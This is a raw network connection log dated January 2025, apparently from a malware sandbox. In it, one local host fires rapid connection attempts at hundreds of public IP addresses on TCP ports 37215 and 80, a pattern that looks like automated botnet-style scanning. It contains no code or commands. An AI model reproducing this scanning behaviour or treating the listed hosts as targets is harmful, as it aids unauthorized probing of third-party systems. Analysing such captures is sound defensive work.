Jan 5, 2025 14:34:52.716631889 CET	29479	37215	192.168.2.13	197.36.70.248
Jan 5, 2025 14:34:52.716639996 CET	29479	37215	192.168.2.13	197.67.47.127
Jan 5, 2025 14:34:52.716641903 CET	29479	37215	192.168.2.13	41.251.48.219
Jan 5, 2025 14:34:52.716653109 CET	29479	37215	192.168.2.13	197.122.41.168
Jan 5, 2025 14:34:52.716660023 CET	29479	37215	192.168.2.13	197.38.205.135
Jan 5, 2025 14:34:52.716660976 CET	29479	37215	192.168.2.13	197.112.50.223
Jan 5, 2025 14:34:52.716662884 CET	29479	37215	192.168.2.13	197.6.190.15
Jan 5, 2025 14:34:52.716666937 CET	29479	37215	192.168.2.13	197.135.174.83
Jan 5, 2025 14:34:52.716667891 CET	29479	37215	192.168.2.13	197.172.251.75
Jan 5, 2025 14:34:52.716675997 CET	29479	37215	192.168.2.13	197.74.244.58
Jan 5, 2025 14:34:52.716675997 CET	29479	37215	192.168.2.13	156.63.47.90
Jan 5, 2025 14:34:52.716681004 CET	29479	37215	192.168.2.13	197.208.142.212
Jan 5, 2025 14:34:52.716691017 CET	29479	37215	192.168.2.13	156.112.189.87
Jan 5, 2025 14:34:52.716691017 CET	29479	37215	192.168.2.13	41.108.18.151
Jan 5, 2025 14:34:52.716694117 CET	29479	37215	192.168.2.13	41.29.132.173
Jan 5, 2025 14:34:52.716695070 CET	29479	37215	192.168.2.13	41.255.194.220
Jan 5, 2025 14:34:52.716695070 CET	29479	37215	192.168.2.13	197.73.46.0
Jan 5, 2025 14:34:52.716715097 CET	29479	37215	192.168.2.13	41.142.183.80
Jan 5, 2025 14:34:52.716717005 CET	29479	37215	192.168.2.13	156.221.48.26
Jan 5, 2025 14:34:52.716717005 CET	29479	37215	192.168.2.13	197.149.7.7
Jan 5, 2025 14:34:52.716717005 CET	29479	37215	192.168.2.13	41.239.162.167
Jan 5, 2025 14:34:52.716725111 CET	29479	37215	192.168.2.13	41.220.130.9
Jan 5, 2025 14:34:52.716727018 CET	29479	37215	192.168.2.13	197.50.84.206
Jan 5, 2025 14:34:52.716737986 CET	29479	37215	192.168.2.13	197.150.187.45
Jan 5, 2025 14:34:52.716737986 CET	29479	37215	192.168.2.13	156.174.19.194
Jan 5, 2025 14:34:52.716749907 CET	29479	37215	192.168.2.13	41.55.16.172
Jan 5, 2025 14:34:52.716756105 CET	29479	37215	192.168.2.13	197.148.83.134
Jan 5, 2025 14:34:52.716756105 CET	29479	37215	192.168.2.13	41.239.84.188
Jan 5, 2025 14:34:52.716759920 CET	29479	37215	192.168.2.13	156.125.155.48
Jan 5, 2025 14:34:52.716759920 CET	29479	37215	192.168.2.13	41.13.233.84
Jan 5, 2025 14:34:52.716759920 CET	29479	37215	192.168.2.13	41.32.143.192
Jan 5, 2025 14:34:52.716768026 CET	29479	37215	192.168.2.13	41.100.139.195
Jan 5, 2025 14:34:52.716770887 CET	29479	37215	192.168.2.13	197.80.160.253
Jan 5, 2025 14:34:52.716770887 CET	29479	37215	192.168.2.13	197.156.114.1
Jan 5, 2025 14:34:52.716777086 CET	29479	37215	192.168.2.13	197.160.245.19
Jan 5, 2025 14:34:52.716789961 CET	29479	37215	192.168.2.13	197.249.226.51
Jan 5, 2025 14:34:52.716793060 CET	29479	37215	192.168.2.13	156.184.99.181
Jan 5, 2025 14:34:52.716794014 CET	29479	37215	192.168.2.13	41.187.0.249
Jan 5, 2025 14:34:52.716798067 CET	29479	37215	192.168.2.13	156.137.30.245
Jan 5, 2025 14:34:52.716798067 CET	29479	37215	192.168.2.13	197.235.169.19
Jan 5, 2025 14:34:52.717587948 CET	51530	37215	192.168.2.13	197.59.249.211
Jan 5, 2025 14:34:52.718374014 CET	50230	37215	192.168.2.13	197.10.74.211
Jan 5, 2025 14:34:52.719284058 CET	53592	37215	192.168.2.13	156.224.24.81
Jan 5, 2025 14:34:52.720036030 CET	35014	37215	192.168.2.13	41.126.221.108
Jan 5, 2025 14:34:52.720856905 CET	40204	37215	192.168.2.13	197.87.222.2
Jan 5, 2025 14:34:52.720885992 CET	37215	29479	197.158.241.228	192.168.2.13
Jan 5, 2025 14:34:52.720912933 CET	37215	29479	156.110.194.105	192.168.2.13
Jan 5, 2025 14:34:52.720922947 CET	37215	29479	197.93.94.190	192.168.2.13
Jan 5, 2025 14:34:52.720933914 CET	37215	29479	156.54.49.103	192.168.2.13
Jan 5, 2025 14:34:52.720933914 CET	29479	37215	192.168.2.13	197.158.241.228
Jan 5, 2025 14:34:52.720946074 CET	37215	29479	197.156.249.26	192.168.2.13
Jan 5, 2025 14:34:52.720983028 CET	29479	37215	192.168.2.13	156.110.194.105
Jan 5, 2025 14:34:52.720993042 CET	29479	37215	192.168.2.13	197.93.94.190
Jan 5, 2025 14:34:52.720997095 CET	29479	37215	192.168.2.13	197.156.249.26
Jan 5, 2025 14:34:52.721028090 CET	29479	37215	192.168.2.13	156.54.49.103
Jan 5, 2025 14:34:52.721611023 CET	37215	29479	41.183.18.41	192.168.2.13
Jan 5, 2025 14:34:52.721621990 CET	37215	29479	41.220.164.18	192.168.2.13
Jan 5, 2025 14:34:52.721633911 CET	37215	29479	197.230.53.234	192.168.2.13
Jan 5, 2025 14:34:52.721641064 CET	37215	29479	156.178.139.230	192.168.2.13
Jan 5, 2025 14:34:52.721648932 CET	29479	37215	192.168.2.13	41.183.18.41
Jan 5, 2025 14:34:52.721652985 CET	37215	29479	197.88.197.102	192.168.2.13
Jan 5, 2025 14:34:52.721664906 CET	37215	29479	41.218.181.3	192.168.2.13
Jan 5, 2025 14:34:52.721673012 CET	29479	37215	192.168.2.13	41.220.164.18
Jan 5, 2025 14:34:52.721678972 CET	29479	37215	192.168.2.13	197.230.53.234
Jan 5, 2025 14:34:52.721678019 CET	29479	37215	192.168.2.13	156.178.139.230
Jan 5, 2025 14:34:52.721683025 CET	29479	37215	192.168.2.13	197.88.197.102
Jan 5, 2025 14:34:52.721684933 CET	37215	29479	197.168.242.202	192.168.2.13
Jan 5, 2025 14:34:52.721698999 CET	37215	29479	41.54.92.111	192.168.2.13
Jan 5, 2025 14:34:52.721704006 CET	29479	37215	192.168.2.13	41.218.181.3
Jan 5, 2025 14:34:52.721708059 CET	49584	37215	192.168.2.13	197.222.141.137
Jan 5, 2025 14:34:52.721713066 CET	37215	29479	156.181.35.243	192.168.2.13
Jan 5, 2025 14:34:52.721724987 CET	37215	29479	197.178.96.47	192.168.2.13
Jan 5, 2025 14:34:52.721736908 CET	29479	37215	192.168.2.13	197.168.242.202
Jan 5, 2025 14:34:52.721736908 CET	29479	37215	192.168.2.13	41.54.92.111
Jan 5, 2025 14:34:52.721745014 CET	37215	29479	156.47.208.4	192.168.2.13
Jan 5, 2025 14:34:52.721755981 CET	29479	37215	192.168.2.13	156.181.35.243
Jan 5, 2025 14:34:52.721756935 CET	29479	37215	192.168.2.13	197.178.96.47
Jan 5, 2025 14:34:52.721756935 CET	37215	29479	41.22.91.89	192.168.2.13
Jan 5, 2025 14:34:52.721770048 CET	37215	29479	156.206.187.145	192.168.2.13
Jan 5, 2025 14:34:52.721779108 CET	37215	29479	156.253.69.83	192.168.2.13
Jan 5, 2025 14:34:52.721782923 CET	29479	37215	192.168.2.13	156.47.208.4
Jan 5, 2025 14:34:52.721790075 CET	37215	29479	41.188.50.9	192.168.2.13
Jan 5, 2025 14:34:52.721790075 CET	29479	37215	192.168.2.13	41.22.91.89
Jan 5, 2025 14:34:52.721798897 CET	29479	37215	192.168.2.13	156.206.187.145
Jan 5, 2025 14:34:52.721801996 CET	37215	29479	197.131.14.100	192.168.2.13
Jan 5, 2025 14:34:52.721808910 CET	29479	37215	192.168.2.13	156.253.69.83
Jan 5, 2025 14:34:52.721815109 CET	37215	29479	197.96.123.163	192.168.2.13
Jan 5, 2025 14:34:52.721817017 CET	29479	37215	192.168.2.13	41.188.50.9
Jan 5, 2025 14:34:52.721827030 CET	37215	29479	41.173.147.116	192.168.2.13
Jan 5, 2025 14:34:52.721837997 CET	37215	29479	197.188.71.140	192.168.2.13
Jan 5, 2025 14:34:52.721837997 CET	29479	37215	192.168.2.13	197.131.14.100
Jan 5, 2025 14:34:52.721851110 CET	37215	29479	41.49.174.33	192.168.2.13
Jan 5, 2025 14:34:52.721863031 CET	29479	37215	192.168.2.13	197.96.123.163
Jan 5, 2025 14:34:52.721865892 CET	37215	29479	197.240.53.248	192.168.2.13
Jan 5, 2025 14:34:52.721873045 CET	29479	37215	192.168.2.13	197.188.71.140
Jan 5, 2025 14:34:52.721877098 CET	37215	29479	156.180.54.159	192.168.2.13
Jan 5, 2025 14:34:52.721880913 CET	29479	37215	192.168.2.13	41.173.147.116
Jan 5, 2025 14:34:52.721888065 CET	37215	29479	197.147.55.122	192.168.2.13
Jan 5, 2025 14:34:52.721893072 CET	29479	37215	192.168.2.13	41.49.174.33
Jan 5, 2025 14:34:52.721898079 CET	37215	29479	197.31.129.48	192.168.2.13
Jan 5, 2025 14:34:52.721904993 CET	29479	37215	192.168.2.13	197.240.53.248
Jan 5, 2025 14:34:52.721910954 CET	37215	29479	156.149.133.76	192.168.2.13
Jan 5, 2025 14:34:52.721911907 CET	29479	37215	192.168.2.13	156.180.54.159
Jan 5, 2025 14:34:52.721921921 CET	37215	29479	41.11.143.126	192.168.2.13
Jan 5, 2025 14:34:52.721926928 CET	29479	37215	192.168.2.13	197.147.55.122
Jan 5, 2025 14:34:52.721929073 CET	29479	37215	192.168.2.13	197.31.129.48
Jan 5, 2025 14:34:52.721934080 CET	37215	29479	41.165.23.27	192.168.2.13
Jan 5, 2025 14:34:52.721946001 CET	29479	37215	192.168.2.13	156.149.133.76
Jan 5, 2025 14:34:52.721946955 CET	37215	29479	156.0.90.91	192.168.2.13
Jan 5, 2025 14:34:52.721959114 CET	37215	29479	41.15.129.114	192.168.2.13
Jan 5, 2025 14:34:52.721963882 CET	29479	37215	192.168.2.13	41.165.23.27
Jan 5, 2025 14:34:52.721966982 CET	29479	37215	192.168.2.13	41.11.143.126
Jan 5, 2025 14:34:52.721968889 CET	37215	29479	156.252.138.194	192.168.2.13
Jan 5, 2025 14:34:52.721980095 CET	37215	29479	41.180.66.236	192.168.2.13
Jan 5, 2025 14:34:52.721982956 CET	29479	37215	192.168.2.13	156.0.90.91
Jan 5, 2025 14:34:52.721991062 CET	37215	29479	197.125.174.70	192.168.2.13
Jan 5, 2025 14:34:52.721998930 CET	29479	37215	192.168.2.13	41.15.129.114
Jan 5, 2025 14:34:52.722012043 CET	29479	37215	192.168.2.13	156.252.138.194
Jan 5, 2025 14:34:52.722012997 CET	37215	29479	197.179.52.225	192.168.2.13
Jan 5, 2025 14:34:52.722028017 CET	37215	29479	197.140.223.114	192.168.2.13
Jan 5, 2025 14:34:52.722033024 CET	29479	37215	192.168.2.13	41.180.66.236
Jan 5, 2025 14:34:52.722034931 CET	29479	37215	192.168.2.13	197.125.174.70
Jan 5, 2025 14:34:52.722037077 CET	37215	29479	41.78.162.170	192.168.2.13
Jan 5, 2025 14:34:52.722044945 CET	29479	37215	192.168.2.13	197.179.52.225
Jan 5, 2025 14:34:52.722048044 CET	37215	29479	156.226.175.19	192.168.2.13
Jan 5, 2025 14:34:52.722059965 CET	37215	29479	41.135.145.194	192.168.2.13
Jan 5, 2025 14:34:52.722069979 CET	37215	29479	41.16.134.195	192.168.2.13
Jan 5, 2025 14:34:52.722070932 CET	29479	37215	192.168.2.13	197.140.223.114
Jan 5, 2025 14:34:52.722081900 CET	37215	29479	41.84.246.17	192.168.2.13
Jan 5, 2025 14:34:52.722081900 CET	29479	37215	192.168.2.13	41.78.162.170
Jan 5, 2025 14:34:52.722084999 CET	29479	37215	192.168.2.13	156.226.175.19
Jan 5, 2025 14:34:52.722094059 CET	37215	29479	156.151.98.222	192.168.2.13
Jan 5, 2025 14:34:52.722095966 CET	29479	37215	192.168.2.13	41.135.145.194
Jan 5, 2025 14:34:52.722105026 CET	37215	29479	197.157.192.97	192.168.2.13
Jan 5, 2025 14:34:52.722110033 CET	29479	37215	192.168.2.13	41.16.134.195
Jan 5, 2025 14:34:52.722117901 CET	37215	29479	156.209.245.143	192.168.2.13
Jan 5, 2025 14:34:52.722124100 CET	29479	37215	192.168.2.13	41.84.246.17
Jan 5, 2025 14:34:52.722129107 CET	37215	29479	41.13.74.164	192.168.2.13
Jan 5, 2025 14:34:52.722135067 CET	29479	37215	192.168.2.13	156.151.98.222
Jan 5, 2025 14:34:52.722143888 CET	29479	37215	192.168.2.13	197.157.192.97
Jan 5, 2025 14:34:52.722150087 CET	37215	29479	156.75.108.172	192.168.2.13
Jan 5, 2025 14:34:52.722160101 CET	37215	29479	41.127.216.192	192.168.2.13
Jan 5, 2025 14:34:52.722170115 CET	37215	29479	156.9.110.229	192.168.2.13
Jan 5, 2025 14:34:52.722171068 CET	29479	37215	192.168.2.13	41.13.74.164
Jan 5, 2025 14:34:52.722181082 CET	37215	29479	156.185.10.19	192.168.2.13
Jan 5, 2025 14:34:52.722182989 CET	29479	37215	192.168.2.13	156.209.245.143
Jan 5, 2025 14:34:52.722182989 CET	29479	37215	192.168.2.13	156.75.108.172
Jan 5, 2025 14:34:52.722192049 CET	37215	29479	41.212.225.24	192.168.2.13
Jan 5, 2025 14:34:52.722196102 CET	29479	37215	192.168.2.13	156.9.110.229
Jan 5, 2025 14:34:52.722202063 CET	37215	29479	156.40.93.169	192.168.2.13
Jan 5, 2025 14:34:52.722208023 CET	29479	37215	192.168.2.13	156.185.10.19
Jan 5, 2025 14:34:52.722213984 CET	37215	29479	41.142.216.219	192.168.2.13
Jan 5, 2025 14:34:52.722224951 CET	37215	29479	156.81.15.208	192.168.2.13
Jan 5, 2025 14:34:52.722232103 CET	29479	37215	192.168.2.13	41.127.216.192
Jan 5, 2025 14:34:52.722232103 CET	29479	37215	192.168.2.13	41.212.225.24
Jan 5, 2025 14:34:52.722239971 CET	29479	37215	192.168.2.13	156.40.93.169
Jan 5, 2025 14:34:52.722240925 CET	37215	29479	156.142.127.62	192.168.2.13
Jan 5, 2025 14:34:52.722254038 CET	37215	29479	41.83.158.106	192.168.2.13
Jan 5, 2025 14:34:52.722265005 CET	37215	29479	156.66.114.7	192.168.2.13
Jan 5, 2025 14:34:52.722269058 CET	29479	37215	192.168.2.13	41.142.216.219
Jan 5, 2025 14:34:52.722269058 CET	29479	37215	192.168.2.13	156.142.127.62
Jan 5, 2025 14:34:52.722271919 CET	29479	37215	192.168.2.13	156.81.15.208
Jan 5, 2025 14:34:52.722276926 CET	37215	29479	41.227.2.162	192.168.2.13
Jan 5, 2025 14:34:52.722290039 CET	37215	29479	41.106.123.199	192.168.2.13
Jan 5, 2025 14:34:52.722292900 CET	29479	37215	192.168.2.13	156.66.114.7
Jan 5, 2025 14:34:52.722305059 CET	37215	29479	156.207.162.203	192.168.2.13
Jan 5, 2025 14:34:52.722316027 CET	37215	29479	197.122.48.124	192.168.2.13
Jan 5, 2025 14:34:52.722318888 CET	29479	37215	192.168.2.13	41.83.158.106
Jan 5, 2025 14:34:52.722318888 CET	29479	37215	192.168.2.13	41.227.2.162
Jan 5, 2025 14:34:52.722318888 CET	29479	37215	192.168.2.13	41.106.123.199
Jan 5, 2025 14:34:52.722326994 CET	37215	29479	197.85.83.47	192.168.2.13
Jan 5, 2025 14:34:52.722338915 CET	37215	29479	156.90.200.36	192.168.2.13
Jan 5, 2025 14:34:52.722349882 CET	29479	37215	192.168.2.13	156.207.162.203
Jan 5, 2025 14:34:52.722351074 CET	37215	29479	197.103.211.46	192.168.2.13
Jan 5, 2025 14:34:52.722362041 CET	29479	37215	192.168.2.13	197.122.48.124
Jan 5, 2025 14:34:52.722362995 CET	37215	29479	197.171.91.194	192.168.2.13
Jan 5, 2025 14:34:52.722368956 CET	51538	37215	192.168.2.13	41.177.145.25
Jan 5, 2025 14:34:52.722373009 CET	29479	37215	192.168.2.13	197.85.83.47
Jan 5, 2025 14:34:52.722467899 CET	29479	37215	192.168.2.13	156.90.200.36
Jan 5, 2025 14:34:52.722467899 CET	29479	37215	192.168.2.13	197.103.211.46
Jan 5, 2025 14:34:52.722467899 CET	29479	37215	192.168.2.13	197.171.91.194
Jan 5, 2025 14:34:52.723206043 CET	52564	37215	192.168.2.13	197.184.139.233
Jan 5, 2025 14:34:52.724011898 CET	49940	37215	192.168.2.13	156.108.75.55
Jan 5, 2025 14:34:52.724808931 CET	55356	37215	192.168.2.13	197.45.188.115
Jan 5, 2025 14:34:52.725569963 CET	33532	37215	192.168.2.13	41.146.88.94
Jan 5, 2025 14:34:52.726424932 CET	48668	37215	192.168.2.13	156.59.131.59
Jan 5, 2025 14:34:52.727272987 CET	37312	37215	192.168.2.13	197.54.31.40
Jan 5, 2025 14:34:52.728163004 CET	48552	37215	192.168.2.13	197.25.242.105
Jan 5, 2025 14:34:52.728801012 CET	37215	49940	156.108.75.55	192.168.2.13
Jan 5, 2025 14:34:52.728843927 CET	49940	37215	192.168.2.13	156.108.75.55
Jan 5, 2025 14:34:52.728867054 CET	45484	37215	192.168.2.13	41.182.67.227
Jan 5, 2025 14:34:52.729619980 CET	40850	37215	192.168.2.13	156.153.54.149
Jan 5, 2025 14:34:52.730370045 CET	55152	37215	192.168.2.13	41.177.65.72
Jan 5, 2025 14:34:52.731257915 CET	33226	37215	192.168.2.13	156.95.107.101
Jan 5, 2025 14:34:52.732259989 CET	29477	80	192.168.2.13	175.103.6.110
Jan 5, 2025 14:34:52.732265949 CET	29477	80	192.168.2.13	154.110.238.168
Jan 5, 2025 14:34:52.732270002 CET	29477	80	192.168.2.13	182.36.246.185
Jan 5, 2025 14:34:52.732270002 CET	29477	80	192.168.2.13	50.245.31.22
Jan 5, 2025 14:34:52.732270002 CET	29477	80	192.168.2.13	45.13.204.120
Jan 5, 2025 14:34:52.732281923 CET	29477	80	192.168.2.13	5.67.95.111
Jan 5, 2025 14:34:52.732291937 CET	29477	80	192.168.2.13	159.199.112.234
Jan 5, 2025 14:34:52.732292891 CET	29477	80	192.168.2.13	220.25.205.206
Jan 5, 2025 14:34:52.732295990 CET	29477	80	192.168.2.13	200.17.118.56
Jan 5, 2025 14:34:52.732295990 CET	29477	80	192.168.2.13	98.253.213.202
Jan 5, 2025 14:34:52.732316017 CET	29477	80	192.168.2.13	42.116.165.165
Jan 5, 2025 14:34:52.732317924 CET	29477	80	192.168.2.13	18.21.115.39
Jan 5, 2025 14:34:52.732317924 CET	29477	80	192.168.2.13	43.206.214.168
Jan 5, 2025 14:34:52.732319117 CET	29477	80	192.168.2.13	82.107.40.33
Jan 5, 2025 14:34:52.732322931 CET	29477	80	192.168.2.13	168.157.96.45
Jan 5, 2025 14:34:52.732325077 CET	47904	37215	192.168.2.13	41.224.51.164
Jan 5, 2025 14:34:52.732322931 CET	29477	80	192.168.2.13	75.228.191.32
Jan 5, 2025 14:34:52.732326031 CET	29477	80	192.168.2.13	41.216.178.194
Jan 5, 2025 14:34:52.732335091 CET	29477	80	192.168.2.13	40.89.7.96
Jan 5, 2025 14:34:52.732336998 CET	29477	80	192.168.2.13	43.193.71.9
Jan 5, 2025 14:34:52.732342958 CET	29477	80	192.168.2.13	122.154.67.176
Jan 5, 2025 14:34:52.732350111 CET	29477	80	192.168.2.13	4.97.163.73
Jan 5, 2025 14:34:52.732366085 CET	29477	80	192.168.2.13	135.220.129.76
Jan 5, 2025 14:34:52.732367039 CET	29477	80	192.168.2.13	153.68.214.103
Jan 5, 2025 14:34:52.732367039 CET	29477	80	192.168.2.13	68.205.146.176
Jan 5, 2025 14:34:52.732376099 CET	29477	80	192.168.2.13	123.57.98.91
Jan 5, 2025 14:34:52.732376099 CET	29477	80	192.168.2.13	183.143.160.101
Jan 5, 2025 14:34:52.732379913 CET	29477	80	192.168.2.13	99.192.36.32
Jan 5, 2025 14:34:52.732379913 CET	29477	80	192.168.2.13	157.209.188.71
Jan 5, 2025 14:34:52.732379913 CET	29477	80	192.168.2.13	62.192.222.88
Jan 5, 2025 14:34:52.732381105 CET	29477	80	192.168.2.13	75.83.254.250
Jan 5, 2025 14:34:52.732381105 CET	29477	80	192.168.2.13	62.123.159.75
Jan 5, 2025 14:34:52.732381105 CET	29477	80	192.168.2.13	186.1.120.206
Jan 5, 2025 14:34:52.732381105 CET	29477	80	192.168.2.13	196.73.109.6
Jan 5, 2025 14:34:52.732386112 CET	29477	80	192.168.2.13	47.213.223.65
Jan 5, 2025 14:34:52.732388020 CET	29477	80	192.168.2.13	94.132.131.37
Jan 5, 2025 14:34:52.732388020 CET	29477	80	192.168.2.13	40.233.118.71
Jan 5, 2025 14:34:52.732388973 CET	29477	80	192.168.2.13	175.162.61.128
Jan 5, 2025 14:34:52.732379913 CET	29477	80	192.168.2.13	190.226.196.234
Jan 5, 2025 14:34:52.732389927 CET	29477	80	192.168.2.13	13.248.201.65
Jan 5, 2025 14:34:52.732379913 CET	29477	80	192.168.2.13	57.74.122.135
Jan 5, 2025 14:34:52.732391119 CET	29477	80	192.168.2.13	108.83.19.13
Jan 5, 2025 14:34:52.732379913 CET	29477	80	192.168.2.13	44.102.4.254
Jan 5, 2025 14:34:52.732391119 CET	29477	80	192.168.2.13	170.51.8.79
Jan 5, 2025 14:34:52.732388973 CET	29477	80	192.168.2.13	146.105.38.226
Jan 5, 2025 14:34:52.732412100 CET	29477	80	192.168.2.13	194.135.107.243
Jan 5, 2025 14:34:52.732413054 CET	29477	80	192.168.2.13	136.142.242.125
Jan 5, 2025 14:34:52.732426882 CET	29477	80	192.168.2.13	216.37.124.100
Jan 5, 2025 14:34:52.732428074 CET	29477	80	192.168.2.13	44.175.98.14
Jan 5, 2025 14:34:52.732431889 CET	29477	80	192.168.2.13	107.96.56.119
Jan 5, 2025 14:34:52.732439041 CET	29477	80	192.168.2.13	142.165.43.109
Jan 5, 2025 14:34:52.732445002 CET	29477	80	192.168.2.13	194.129.143.85
Jan 5, 2025 14:34:52.732445002 CET	29477	80	192.168.2.13	114.240.124.177
Jan 5, 2025 14:34:52.732448101 CET	29477	80	192.168.2.13	222.97.67.95
Jan 5, 2025 14:34:52.732448101 CET	29477	80	192.168.2.13	94.188.100.61
Jan 5, 2025 14:34:52.732451916 CET	29477	80	192.168.2.13	177.191.67.72
Jan 5, 2025 14:34:52.732454062 CET	29477	80	192.168.2.13	90.127.79.39
Jan 5, 2025 14:34:52.732469082 CET	29477	80	192.168.2.13	36.106.41.114
Jan 5, 2025 14:34:52.732470989 CET	29477	80	192.168.2.13	38.0.171.120
Jan 5, 2025 14:34:52.732474089 CET	29477	80	192.168.2.13	37.61.101.162
Jan 5, 2025 14:34:52.732477903 CET	29477	80	192.168.2.13	82.122.20.46
Jan 5, 2025 14:34:52.732477903 CET	29477	80	192.168.2.13	148.175.101.75
Jan 5, 2025 14:34:52.732477903 CET	29477	80	192.168.2.13	51.104.174.252
Jan 5, 2025 14:34:52.732481956 CET	29477	80	192.168.2.13	218.74.146.40
Jan 5, 2025 14:34:52.732495070 CET	29477	80	192.168.2.13	189.197.58.78
Jan 5, 2025 14:34:52.732508898 CET	29477	80	192.168.2.13	17.71.255.204
Jan 5, 2025 14:34:52.732511997 CET	29477	80	192.168.2.13	190.34.143.34
Jan 5, 2025 14:34:52.732518911 CET	29477	80	192.168.2.13	120.216.211.192
Jan 5, 2025 14:34:52.732518911 CET	29477	80	192.168.2.13	119.199.213.112
Jan 5, 2025 14:34:52.732521057 CET	29477	80	192.168.2.13	88.107.33.208
Jan 5, 2025 14:34:52.732521057 CET	29477	80	192.168.2.13	189.92.42.206
Jan 5, 2025 14:34:52.732522964 CET	29477	80	192.168.2.13	61.40.97.177
Jan 5, 2025 14:34:52.732526064 CET	29477	80	192.168.2.13	119.217.210.159
Jan 5, 2025 14:34:52.732541084 CET	29477	80	192.168.2.13	8.85.99.236
Jan 5, 2025 14:34:52.732546091 CET	29477	80	192.168.2.13	146.109.219.102
Jan 5, 2025 14:34:52.732558012 CET	29477	80	192.168.2.13	136.236.229.114
Jan 5, 2025 14:34:52.732559919 CET	29477	80	192.168.2.13	70.226.194.235
Jan 5, 2025 14:34:52.732559919 CET	29477	80	192.168.2.13	59.77.111.25
Jan 5, 2025 14:34:52.732559919 CET	29477	80	192.168.2.13	150.170.81.133
Jan 5, 2025 14:34:52.732562065 CET	29477	80	192.168.2.13	113.252.107.157
Jan 5, 2025 14:34:52.732569933 CET	29477	80	192.168.2.13	92.27.71.93
Jan 5, 2025 14:34:52.732582092 CET	29477	80	192.168.2.13	179.15.172.61
Jan 5, 2025 14:34:52.732584953 CET	29477	80	192.168.2.13	27.71.142.116
Jan 5, 2025 14:34:52.732597113 CET	29477	80	192.168.2.13	114.10.153.75
Jan 5, 2025 14:34:52.732597113 CET	29477	80	192.168.2.13	9.198.135.159
Jan 5, 2025 14:34:52.732599974 CET	29477	80	192.168.2.13	135.124.135.200
Jan 5, 2025 14:34:52.732608080 CET	29477	80	192.168.2.13	1.8.122.191
Jan 5, 2025 14:34:52.732609034 CET	29477	80	192.168.2.13	50.168.26.112
Jan 5, 2025 14:34:52.732611895 CET	29477	80	192.168.2.13	172.10.171.11
Jan 5, 2025 14:34:52.732613087 CET	29477	80	192.168.2.13	206.238.227.237
Jan 5, 2025 14:34:52.732666016 CET	29477	80	192.168.2.13	100.147.101.242
Jan 5, 2025 14:34:52.732696056 CET	29477	80	192.168.2.13	207.108.248.97
Jan 5, 2025 14:34:52.732706070 CET	29477	80	192.168.2.13	91.80.241.27
Jan 5, 2025 14:34:52.732706070 CET	29477	80	192.168.2.13	146.32.93.201
Jan 5, 2025 14:34:52.732707024 CET	29477	80	192.168.2.13	84.106.59.21
Jan 5, 2025 14:34:52.732712030 CET	29477	80	192.168.2.13	141.178.61.42
Jan 5, 2025 14:34:52.732712030 CET	29477	80	192.168.2.13	194.65.69.39
Jan 5, 2025 14:34:52.732716084 CET	29477	80	192.168.2.13	168.114.129.200
Jan 5, 2025 14:34:52.732721090 CET	29477	80	192.168.2.13	158.139.165.70
Jan 5, 2025 14:34:52.732728958 CET	29477	80	192.168.2.13	149.194.201.30
Jan 5, 2025 14:34:52.732734919 CET	29477	80	192.168.2.13	210.238.123.25
Jan 5, 2025 14:34:52.732737064 CET	29477	80	192.168.2.13	53.141.125.210
Jan 5, 2025 14:34:52.732737064 CET	29477	80	192.168.2.13	122.170.235.187
Jan 5, 2025 14:34:52.732737064 CET	29477	80	192.168.2.13	81.147.81.171
Jan 5, 2025 14:34:52.732741117 CET	29477	80	192.168.2.13	51.95.59.239
Jan 5, 2025 14:34:52.732741117 CET	29477	80	192.168.2.13	12.38.9.38
Jan 5, 2025 14:34:52.732743979 CET	29477	80	192.168.2.13	40.241.3.114
Jan 5, 2025 14:34:52.732789993 CET	29477	80	192.168.2.13	198.23.26.243
Jan 5, 2025 14:34:52.732790947 CET	29477	80	192.168.2.13	115.72.122.150
Jan 5, 2025 14:34:52.732819080 CET	29477	80	192.168.2.13	126.149.70.104
Jan 5, 2025 14:34:52.732820988 CET	29477	80	192.168.2.13	208.247.90.14
Jan 5, 2025 14:34:52.732820988 CET	29477	80	192.168.2.13	150.212.108.232
Jan 5, 2025 14:34:52.732826948 CET	29477	80	192.168.2.13	80.234.32.229
Jan 5, 2025 14:34:52.732826948 CET	29477	80	192.168.2.13	111.110.194.222
Jan 5, 2025 14:34:52.732837915 CET	29477	80	192.168.2.13	47.16.215.7
Jan 5, 2025 14:34:52.732837915 CET	29477	80	192.168.2.13	174.3.91.26
Jan 5, 2025 14:34:52.732840061 CET	29477	80	192.168.2.13	181.66.254.50
Jan 5, 2025 14:34:52.732857943 CET	29477	80	192.168.2.13	60.172.192.104
Jan 5, 2025 14:34:52.732861042 CET	29477	80	192.168.2.13	181.98.130.61
Jan 5, 2025 14:34:52.732863903 CET	29477	80	192.168.2.13	130.229.76.163
Jan 5, 2025 14:34:52.732868910 CET	29477	80	192.168.2.13	159.183.101.234
Jan 5, 2025 14:34:52.732870102 CET	29477	80	192.168.2.13	126.22.128.119
Jan 5, 2025 14:34:52.732875109 CET	29477	80	192.168.2.13	126.111.199.89
Jan 5, 2025 14:34:52.732875109 CET	29477	80	192.168.2.13	72.100.125.40
Jan 5, 2025 14:34:52.732877016 CET	29477	80	192.168.2.13	75.123.52.67
Jan 5, 2025 14:34:52.732886076 CET	29477	80	192.168.2.13	20.215.221.186
Jan 5, 2025 14:34:52.732901096 CET	29477	80	192.168.2.13	180.212.53.10
Jan 5, 2025 14:34:52.732903004 CET	29477	80	192.168.2.13	65.85.239.23
Jan 5, 2025 14:34:52.732907057 CET	29477	80	192.168.2.13	128.206.250.252
Jan 5, 2025 14:34:52.732908010 CET	29477	80	192.168.2.13	124.17.234.196
Jan 5, 2025 14:34:52.732911110 CET	29477	80	192.168.2.13	184.113.6.125
Jan 5, 2025 14:34:52.732922077 CET	29477	80	192.168.2.13	35.118.6.24
Jan 5, 2025 14:34:52.732923985 CET	29477	80	192.168.2.13	1.163.160.9
Jan 5, 2025 14:34:52.732928038 CET	29477	80	192.168.2.13	181.244.7.91
Jan 5, 2025 14:34:52.732932091 CET	29477	80	192.168.2.13	110.144.174.75
Jan 5, 2025 14:34:52.732932091 CET	29477	80	192.168.2.13	117.157.224.1
Jan 5, 2025 14:34:52.732947111 CET	29477	80	192.168.2.13	110.189.60.58
Jan 5, 2025 14:34:52.732948065 CET	29477	80	192.168.2.13	110.64.32.150
Jan 5, 2025 14:34:52.732948065 CET	29477	80	192.168.2.13	42.167.173.10
Jan 5, 2025 14:34:52.732949972 CET	29477	80	192.168.2.13	51.52.61.89
Jan 5, 2025 14:34:52.732956886 CET	29477	80	192.168.2.13	136.137.246.185
Jan 5, 2025 14:34:52.732958078 CET	29477	80	192.168.2.13	139.169.30.51
